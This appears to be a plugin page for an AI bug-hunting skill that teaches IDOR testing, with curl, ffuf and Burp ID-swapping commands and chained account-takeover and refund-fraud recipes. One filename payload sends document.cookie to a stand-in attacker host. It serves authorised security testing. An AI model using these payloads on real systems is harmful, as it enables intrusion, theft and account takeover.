From claude-bughunter
Guides security testers in finding IDOR vulnerabilities in web applications using techniques from 26 public bug bounty reports. Maps object references, enumerates ID types, and identifies high-value targets.
How this skill is triggered — by the user, by Claude, or both
Slash command
/claude-bughunter:hunt-idorThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
**Why IDOR pays big:**
Why IDOR pays big:
Highest-value asset types (by payout potential):
| Asset Type | Why It Pays |
|---|---|
| Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
| Private repositories / source code | IP theft, critical data loss (GitHub) |
| User messages / DMs | Privacy violation at scale (Reddit) |
| Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
| Business/org administration | Cross-tenant escalation, employee PII (Uber) |
| Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
Programs that pay most for IDOR:
URL patterns that scream IDOR:
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy
Response header signals:
Content-Type: application/json on endpoints accepting raw IDsX-Frame-Options or CORS misconfigs paired with ID paramsAuthorization: Bearer tokens that are user-scoped but hit org-level resourcesJavaScript source patterns:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId
Tech stack signals:
org_id, account_id, business_id paramsMap all object references in the application
id=, _id=, uuid=, /v1/{noun}/{id}, query params with numeric/UUID valuesEnumerate ID types
Create two separate accounts (same privilege level)
Replay User A's resource IDs as User B
Test cross-tenant/cross-org scenarios
Test GraphQL specifically
{ __schema { queryType { fields { name } } } }id argument, substitute another user's IDTest write/destructive operations, not just reads
Chain IDORs together
Test state-changing edge cases
?sort=id or ?filter[user_id]=Document the exact differential
Basic IDOR test with curl (swap cookie/token):
# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
GraphQL IDOR test:
curl -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
Enumerate sequential IDs with ffuf:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
-w ids.txt \
-H "Authorization: Bearer USER_B_TOKEN" \
-mc 200 \
-o idor_results.json
Generate sequential ID wordlist:
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")
Burp Intruder payload for IDOR scanning:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200
JavaScript scraping for leaked IDs:
# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
Grep patterns for source code review:
# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
IDOR via HTTP method tampering:
# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo "=== $method ==="
curl -s -X $method \
-H "Authorization: Bearer USER_B_TOKEN" \
https://target.com/api/v1/users/USER_A_ID/profile
done
Missing ownership check in ORM queries
// VULNERABLE: fetches any record
const invoice = await Invoice.findById(req.params.id);
// SECURE: scopes to authenticated user
const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
Authorization at the route level, not object level
Trusting client-supplied IDs in request bodies
org_id in POST body; server uses it directly without verifying caller belongs to that orgGraphQL resolvers without field-level authorization
Inconsistent authorization across HTTP verbs
Indirect references exposed via related objects
Race conditions and state-based IDORs
Multi-tenant isolation failures
user_id check present; org_id / tenant_id check absentDefense: UUIDs instead of sequential integers
Defense: Indirect/hashed object references
echo "dXNlcl8xMjM0NQ==" | base64 -d → user_12345Defense: Short-lived tokens per resource
Defense: Rate limiting on enumeration
Defense: Checking user_id in WHERE clause
/v1/ vs /v2/) — authorization logic is often version-specificDefense: CORS restrictions
Defense: "Opaque" references via server-side sessions
Location headers, error messages, or metadataDefense: Parameter filtering/WAF on common patterns
{"data": {"id": "VICTIM_ID"}}, HTTP parameter pollution ?id=own_id&id=victim_id, or parameter name variations user_id, userId, uid, accountBefore writing the report, answer all three:
What can the attacker DO right now?
Be specific: "Attacker with a valid account can send a GET request to /api/v1/invoices/{victim_invoice_id} and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."
What does the victim LOSE? Map to CIA triad: confidentiality (data exposed), integrity (data modified), or availability (data deleted). "Victim loses confidentiality of private financial records" or "Victim's content is deleted by a third party" — vague answers fail.
Can it be reproduced in 10 minutes from scratch?
If you can't demo it reproducibly, do not file the report.
Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style) An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.
Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style)
A migration feature allows users to upload files to a migration job. The migration_id parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.
Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style)
An attacker accesses another user's private message threads by substituting their thread_id in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.
Standalone IDOR gets paid at Low-Medium for cross-tenant read. The real money is in chaining IDOR to a state-change primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
/api/users/{id}/email + Missing Re-Auth → Password Reset → ATOPUT /api/users/{victim_id}/email {"email":"attacker@evil"} from attacker's session; server changes the victim's email without ownership check.hunt-ato Path 2 (email change without re-auth).Content-Disposition → Reflected-XSS-Via-Download → Session Theft/api/files/{id}/download returns any user's file given the ID.Content-Disposition: attachment; filename="<user-supplied-filename>" without sanitising newlines or quotes — attacker uploads a file with filename "; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt.hunt-xss Chain 1 (response-header XSS class).node(id:) GID + Relay Relation Traversal → Cross-Tenant Mass Data Extractiongid://shopify/Customer/<n> or base64-encoded type:id patterns).node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } } — the top-level node() resolver auths the requester, but nested relations don't re-check ownership against the resolved Customer.hunt-graphql Disclosed Report Citation #5 and #2./api/teams/{id}/members + Mass-Assignment in Body → Role Escalation on Victim TeamPOST /api/teams/{victim_team_id}/members {"email":"attacker@evil"} adds attacker as a normal member without ownership check.{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]} — mass assignment leaks into the role field.fileCopy mutation H1 #981472 (2020, $2,000); Stripe UpdateAtlasApplicationPerson cross-tenant mutation H1 #1066203 (2020). Cross-refs hunt-graphql Disclosed Report Citation #7 and #8; pairs with hunt-api-misconfig Mass Assignment section.active=false flag but doesn't invalidate the session/PAT.hunt-misc Chain 1 — same root cause shape, different starting primitive./users/{id}/orders → /orders/{order_id}/refund) → Financial Impact on Victim MerchantGET /api/users/{victim_id}/orders returns the victim's order list without ownership check — yields legitimate order_id values.POST /api/orders/{order_id}/refund issues refunds without checking that the requester owns the merchant/order.hunt-business-logic Chain (financial impact via state-machine confusion).When you confirm a read-IDOR at A, immediately ask: what state-change accepts the same ID and might also be IDOR'd? The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
Cross-references:
hunt-ato — Chain 1, 5hunt-xss — Chain 2hunt-graphql — Chains 3, 4hunt-misc — Chain 5hunt-business-logic — Chain 6hunt-auth-bypass — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing req.user.id scoping in ORM query + missing middleware on legacy /v1/ route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.hunt-ato — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: PATCH /api/users/{victim_uid} accepts attacker's session + victim UID → set [email protected] → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.hunt-graphql — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: __schema introspection → enumerate every mutation accepting id: argument → substitute victim IDs across updateUser, deleteOrg, transferBilling mutations → mass IDOR fan-out from one introspection query.security-arsenal — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (?id=own&id=victim), nested-JSON wrappers ({"data":{"id":"VICTIM"}}), and parameter-name variations (uid/userId/user_id/account) when the first direct substitution returns 403.triage-validation — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.npx claudepluginhub elementalsouls/claude-bughunterProvides systematic methodologies for identifying and exploiting IDOR vulnerabilities in web applications, covering database object references, static file references, and parameter manipulation.
Provides an IDOR testing checklist including object ID enumeration, horizontal/vertical privilege escalation, GUID prediction, and API endpoint testing. Use for web app security assessments and bug bounty recon.
Guides IDOR pentesting in web APIs with discovery patterns, exploitation techniques like parameter tampering and UUID guessing, checklists, and real-world cases.